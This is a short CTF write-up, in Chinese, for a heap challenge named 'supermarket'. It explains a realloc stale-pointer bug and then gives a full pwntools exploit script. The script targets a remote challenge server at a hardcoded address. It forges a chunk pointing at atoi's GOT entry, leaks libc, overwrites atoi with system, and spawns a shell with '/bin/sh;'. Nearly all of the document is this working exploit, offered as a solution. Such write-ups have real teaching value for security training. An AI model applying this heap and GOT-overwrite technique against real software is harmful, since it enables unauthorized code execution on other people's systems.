这个题没有想到有一点 。。。。
参考链接
https://blog.csdn.net/qq_33528164/article/details/80144580
这个题目的漏洞点就是
在 realloc 如果 当重新分配的new_size < pre_size
, 返回原指针 否则 重新分配 这个就很真实了
而且他这个 还没有改变用户态指针
如果我们操作一波就可以 用另一个指针 随意操控 里面另一个堆user的值了 那么就可以把desc 的指针类型给换了 换成atoigot 表的 就可以了 然后可以 把atoi 改成system 然后一把梭就可以了
exp 如下
from pwn import *
debug=0
context.log_level='debug'
context.arch='amd64'
libc=ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")
elf=ELF("./supermarket")
if debug:
io=process('./supermarket')
else:
io=remote('111.198.29.45',50926)
def add(name,price,size,description):
io.recvuntil("your choice>>")
io.sendline("1")
io.recvuntil("name:")
io.sendline(name)
io.recvuntil("price:")
io.sendline(str(price))
io.recvuntil("descrip_size:")
io.sendline(str(size))
io.recvuntil("description:")
io.sendline(description)
def dele(name):
io.recvuntil("your choice>>")
io.sendline("2")
io.recvuntil("name:")
io.sendline(name)
def show():
io.recvuntil("your choice>>")
io.sendline("3")
def edit_price(name,price):
io.recvuntil("your choice>>")
io.sendline("4")
io.recvuntil("name:")
io.sendline(name)
io.recvuntil("input the value you want to cut or rise in:")
io.sendline(str(price))
def edit_desc(name,size,description):
io.recvuntil("your choice>>")
io.sendline("5")
io.recvuntil("name:")
io.sendline(name)
io.recvuntil("descrip_size:")
io.sendline(str(size))
io.recvuntil("description:")
io.sendline(description)
got_atoi=elf.got['atoi']
if __name__== "__main__":
add('pipixia',666,0x80,'a'*0x75)
add('keer',250,0x20,'b'*0x20)
edit_desc('pipixia',0xc0,"")
#gdb.attach(io)
#pause()
add('kepler',250,0x50,'c'*7)
#gdb.attach(io)
payload='cxk\x00'+'a'*16+p32(0x50)+p32(got_atoi)+p32(0x59)
edit_desc('pipixia',0x80,payload)
#gdb.attach(io)
#pause()
#gdb.attach(io)
show()
#print io.recv()
io.recvuntil("cxk: price.")
io.recv(16)
atoi_addr=u32(io.recv(4))
log.success("atoi_addr "+hex(atoi_addr))
libc_base_addr=atoi_addr-libc.sym['atoi']
log.success("libc_base_addr "+hex(libc_base_addr))
system_addr=libc_base_addr+libc.sym['system']
log.success("system_addr "+hex(system_addr))
#gdb.attach(io)
edit_desc('cxk',0x50,p32(system_addr))
io.sendline("/bin/sh;")
io.interactive()
io.close()